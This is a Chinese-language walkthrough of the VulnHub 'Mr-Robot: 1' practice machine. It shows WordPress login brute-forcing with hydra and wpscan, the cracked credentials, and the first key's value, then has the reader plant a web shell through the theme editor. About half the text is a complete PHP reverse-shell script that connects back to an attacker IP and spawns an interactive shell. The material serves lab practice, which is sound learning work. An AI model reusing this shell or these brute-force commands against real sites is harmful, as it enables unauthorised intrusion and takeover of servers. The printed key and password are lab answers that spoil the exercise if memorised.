Vulnhub项目：MrRobot

靶机地址：Mr-Robot: 1 ~ VulnHub

渗透过程：

先看描述，有3跟keys在这个靶机中

首先确定靶机ip，对靶机开放的端口进行探测

访问靶机地址，出现了很酷炫的web界面，这个mr.robot,是一个美剧，还是挺好看的

没什么其他的信息了，上目录爆破，爆破发现了/admin目录，还有robots.txt，还有wordpress的相关目录

访问robots.txt出现了一个keys和一个字典的文件，访问这个字典文件就会下载。

下载keys到本地

查看第一个keys

key-1-of-3.txt

073403c8a58a1f80d943455fb30724b9

利用nikto对网页进行扫描，看看是否存在漏洞

没扫出什么，那就直接上wp的登录框，随便输入，先尝试登录看看，发现它会判断用户名，那就可以先去利用那个字典去爆破用户名！

抓个包看看它的构造！

hydra -L fsocity.dic -p xiaoli 192.168.56.129 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username"

这里用的是hydra的http-post-form的表单进行爆破用户名，密码随便输，先确认用户名
用户名确定是Elliot，主角的名字，然后利用这个字典再去爆破密码，由于这个字典太大了，爆破时间过长，简化一下，把多余的重复的都去除

cat fsocity.dic| sort -u | uniq >wordlist.dic

然后利用wpscan进行爆破

wpscan --url http://192.168.56.129/wp-login/ -U Elliot -P wordlist.dic

爆破得到Elliot的密码是ER28-0652

登录进后台，搜寻一下

英文看的累，给他改成中文！

在外观这里有个编辑器，里面放的是该网站的文件，直接在这些文件里写个shell，懒得写就用kali自带的，记得把ip和端口改成自己的就行！然后更新文件，在url中访问就OK！

kali的shell

<?php


set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.56.104';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

修改ip为自己kali的ip，端口随意修改